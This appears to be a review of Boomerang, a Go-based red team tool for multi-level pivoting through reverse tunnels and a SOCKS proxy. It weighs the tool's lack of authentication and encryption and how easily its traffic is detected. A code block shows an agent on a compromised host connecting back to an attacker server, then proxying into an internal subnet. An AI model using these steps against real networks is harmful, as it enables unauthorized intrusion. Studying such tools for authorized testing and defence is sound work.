Boomerang: Multi-Level Network Pivoting with Go-Based Reverse Tunnels
Hook
Most tunneling tools force you to choose between ease of deployment and operational security. Boomerang chose deployment simplicity—and that choice reveals everything about modern red team trade-offs.
Context
Network pivoting has been a cornerstone of offensive security since the first segmented networks appeared. When you compromise a host on an internal network, that machine becomes your gateway to the rest of the infrastructure. Traditional approaches relied on SSH port forwarding, Metasploit's route command, or custom scripts that were fragile and platform-dependent. The problem intensified as networks became more complex: multi-tiered architectures, cloud environments with ephemeral instances, and defense-in-depth strategies meant that red teams needed to chain multiple pivots together, hopping from one compromised host to another to reach target systems.
Modern Go-based tunneling tools emerged to solve the portability problem. Single-binary deployment, cross-compilation for any platform, and the ability to embed everything needed into one executable made Go the natural choice for post-exploitation tooling. Boomerang enters this space with a specific design philosophy: prioritize simplicity and multi-level pivoting over feature richness. Unlike tools that bundle authentication, encryption, and sophisticated traffic management, Boomerang strips down to the essentials—a server that listens, agents that connect back, and a SOCKS proxy interface that lets you funnel arbitrary traffic through compromised hosts. This minimalist approach makes it fast to deploy but raises questions about operational security in contested environments.
Technical Insight
Boomerang's architecture revolves around a clean separation between control and data planes. The server component exposes two distinct TCP ports: one for agent connections (the control plane) and another for SOCKS proxy connections (the data plane). This separation means that your attacking tools—proxychains, Burp Suite, or custom scripts—connect to the SOCKS port while compromised internal hosts connect their agents to the control port. The server acts as a traffic broker, matching SOCKS requests with the appropriate agent tunnel and forwarding packets bidirectionally.
The reverse tunnel mechanism is where Boomerang's design shines for operational scenarios. Instead of requiring inbound firewall rules on compromised hosts (which would be suspicious and often impossible), the agent initiates an outbound connection to the server. Once established, this connection stays alive and the server can push traffic through it. From a network defense perspective, this looks like a normal outbound HTTP connection, making it harder to detect than traditional port forwarding setups. Here's how you'd deploy a basic pivoting scenario:
// On your internet-facing VPS (1.2.3.4)
./boomerang-server -agent-port 8080 -socks-port 1080
// On the compromised internal host (can reach 10.10.10.0/24)
./boomerang-agent -server http://1.2.3.4:8080
// On your attacking machine
export SOCKS5_PROXY=socks5://1.2.3.4:1080
curl --proxy $SOCKS5_PROXY http://10.10.10.50:8000
The multi-level pivoting capability becomes crucial when you need to traverse multiple network segments. Imagine you've compromised Host A on the DMZ, which can reach Host B on an internal application tier, which in turn can reach Host C on a database VLAN. With Boomerang, you run an agent on Host A pointing to your external server, then run a second agent on Host B pointing to Host A (which is now running both an agent and a server instance), and optionally a third agent on Host C pointing to Host B. Each layer creates another hop in your tunnel chain, and you can run multiple agents simultaneously, exposing different network segments through the same external SOCKS port.
The authentication model—or lack thereof—is where implementation reality diverges from security best practices. Current versions rely on IP whitelisting at the server level, meaning you configure the server to only accept agent connections from specific source IPs. This works when you control the infrastructure and can predict source addresses, but breaks down with cloud providers using NAT, or when operating through VPNs with dynamic IPs. The codebase shows TODO comments around implementing token-based authentication:
// Future authentication flow (not yet implemented)
// Agent would send: {"token": "secret123", "agent_id": "host-a"}
// Server would validate token before establishing tunnel
// Currently: any IP not blocked can connect as agent
This authentication gap means you must treat the agent port as highly sensitive. Exposing it to the internet without additional protections (iptables rules, cloud security groups, or a VPN) risks unauthorized agents connecting and potentially abusing your SOCKS proxy for their own purposes. In practice, many operators solve this by running the server behind a VPN or using SSH port forwarding to protect the agent port itself, adding deployment complexity that undermines Boomerang's simplicity advantage.
The traffic handling uses Go's standard library networking primitives—net.Conn for TCP connections and io.Copy for bidirectional forwarding. This keeps the codebase lean but means there's no built-in encryption beyond what the proxied protocol provides. If you're tunneling HTTP through Boomerang, that traffic is cleartext between the server and agent. If you're tunneling HTTPS, the TLS layer protects the payload but metadata (destination IPs, packet timing) remains visible to network monitors. For operational security, this means Boomerang works best when the server-agent link itself runs over an encrypted channel, like an existing VPN or SSH tunnel, which again adds deployment steps.
Gotcha
The absence of built-in authentication creates a fundamental operational problem: you cannot safely expose the agent port to untrusted networks without external protection mechanisms. This isn't just a missing feature—it changes how you deploy the tool. If you're running the server on a cloud VM, you need to configure security groups or firewall rules to whitelist specific IPs before launching. If you're pivoting through a network where your compromised host has a dynamic or unpredictable external IP, you face a chicken-and-egg problem: you need to know the IP to whitelist it, but you won't know the IP until after the agent connects. The practical workaround involves either extremely permissive whitelisting (which defeats the security purpose) or wrapping the entire setup in another authenticated tunnel, which adds complexity.
Traffic analysis and detection present another limitation that won't be obvious until you're in a mature security environment. The agent-server protocol uses long-lived HTTP connections for the control channel, which is a common tunneling indicator that modern network monitoring tools flag. Without traffic obfuscation, domain fronting, or protocol mimicry, the traffic patterns are distinctive enough for detection. Tools like Zeek or Suricata with appropriate rules will identify the sustained bidirectional flow with timing characteristics unlike normal HTTP. Additionally, running binary executables named 'boomerang-agent' on compromised hosts is poor operational security—the tool doesn't provide guidance on renaming, process hiding, or other evasion techniques that mature red team frameworks include. You're responsible for all tradecraft around deployment, which assumes significant operator experience.
Verdict
Use Boomerang if you're running internal red team assessments where you control the infrastructure end-to-end, need quick cross-platform deployment across diverse target architectures, and can implement IP-based access controls reliably. It excels in lab environments, training scenarios, or engagements where network monitoring is minimal and you value deployment speed over operational security. The multi-level pivoting capability genuinely shines when you need to expose services across complex network topologies through multiple hops. Skip Boomerang if you're operating in environments with mature security monitoring, need production-grade authentication and encryption, require extensive documentation or community support, or want a tool that handles OPSEC considerations by default. For serious red team engagements against defended networks, invest the time to learn Chisel (which adds SSH encryption and authentication) or Ligolo-ng (purpose-built for stealthy operations with TLS). Boomerang occupies a narrow niche: straightforward pivoting when you control both ends and security theater isn't a concern.
